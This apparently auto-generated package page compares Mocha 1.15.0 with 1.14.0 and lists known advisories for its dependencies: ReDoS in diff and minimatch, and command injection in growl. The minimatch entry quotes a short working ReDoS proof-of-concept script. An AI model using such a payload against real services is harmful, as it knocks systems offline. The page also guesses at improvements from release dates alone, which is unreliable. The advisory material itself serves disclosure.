Mocha, a simple, flexible, and fun JavaScript test framework, saw a release of version 1.15.0 following closely on the heels of version 1.14.0. Examining the package metadata, the core functionalities and dependencies remained consistent between these two versions. Both versions retain the same core dependencies, including diff for comparing expected and actual results, glob for file pattern matching, jade for templating, debug for debugging utilities, growl for system notifications, mkdirp for directory creation, and commander for command-line interface building. Similarly, the development dependencies, should for assertions and coffee-script for those preferring CoffeeScript, are unchanged.
The key difference lies within the release date. Version 1.15.0 was published on December 2nd, 2013, while version 1.14.0 came out on November 3rd, 2013. This suggests that the newer release likely contains bug fixes, performance improvements, or minor enhancements made in the intervening month. Developers using Mocha should, therefore, consider upgrading to version 1.15.0 to benefit from these potential refinements and ensure they are working with the most recent stable release available. While the specific changes aren't detailed in the provided data, the updated release date hints at iterative improvements worth exploring for a smoother testing experience. The core API and usage patterns, however, likely remain consistent, minimizing any disruption to existing test suites.
All the vulnerabilities related to the version 1.15.0 of the package
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.